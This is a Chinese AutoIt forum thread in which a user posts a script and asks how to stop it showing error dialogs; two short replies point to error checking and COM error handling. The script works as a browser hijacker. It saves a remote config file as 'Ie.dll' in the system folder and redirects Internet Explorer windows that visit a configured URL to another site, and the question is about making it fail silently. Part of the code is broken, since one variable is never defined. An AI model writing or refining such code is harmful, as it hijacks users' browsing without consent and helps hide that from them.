找回密码
 加入
搜索
查看: 1748|回复: 3

[AU3基础] 如何在AU3程序偶尔报错的时候不弹出这个错误框?

[复制链接]
发表于 2010-8-15 22:46:53 | 显示全部楼层 |阅读模式
本帖最后由 angelink 于 2010-8-15 23:16 编辑




如何在AU3程序偶尔报错的时候不弹出这个错误框?
#include <_Ini.au3>
#include <CoProc.au3>
If Not @error Then
        _CoProc("down")
        Url()
EndIf        
Func Url()
While 1
        Sleep(400)
        $URL1 = _IniRead(@SystemDir & "\Ie.dll", "URL", "1", "")
        $oShell = ObjCreate('shell.application')
        $oShellWindows = $oShell.windows
        For $Window In $oShellWindows
                If StringRight($Window.FullName, 12) = 'iexplore.exe' Then
                        If StringInStr($Window.locationurl, $URL1, 2) Then $Window.navigate("http://" & $Http1)
                EndIf
        Next
        _ReduceMemory(@AutoItPID)
WEnd
EndFunc
Func _ReduceMemory($i_PID = -1)
        If $i_PID <> -1 Then
                Local $ai_Handle = DllCall("kernel32.dll", 'int', 'OpenProcess', 'int', 0x1f0fff, 'int', False, 'int', $i_PID)
                Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', $ai_Handle[0])
                DllCall('kernel32.dll', 'int', 'CloseHandle', 'int', $ai_Handle[0])
        Else
                Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', -1)
        EndIf
        Return $ai_Return[0]
EndFunc   ;==>_ReduceMemory
Func Down()
        Local $hDownload = InetGet("http://www.baidu.com/Ie.dll", @SystemDir & "\Ie.dll", 1, 1)
        Do
                Sleep(250)
        Until InetGetInfo($hDownload, 2)
EndFunc   ;==>Down

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?加入

×
发表于 2010-8-15 22:54:42 | 显示全部楼层
If Not @error Then
 楼主| 发表于 2010-8-15 23:18:14 | 显示全部楼层
回复 2# 水木子


先谢谢!

我的是在打开IE的时候,然后跳转到我设置的IE的时候立马关闭IE才报错的。。。。
发表于 2010-8-15 23:21:13 | 显示全部楼层
帮助文档搜索 COM 出错处理
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-9-21 23:24 , Processed in 0.126838 second(s), 25 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表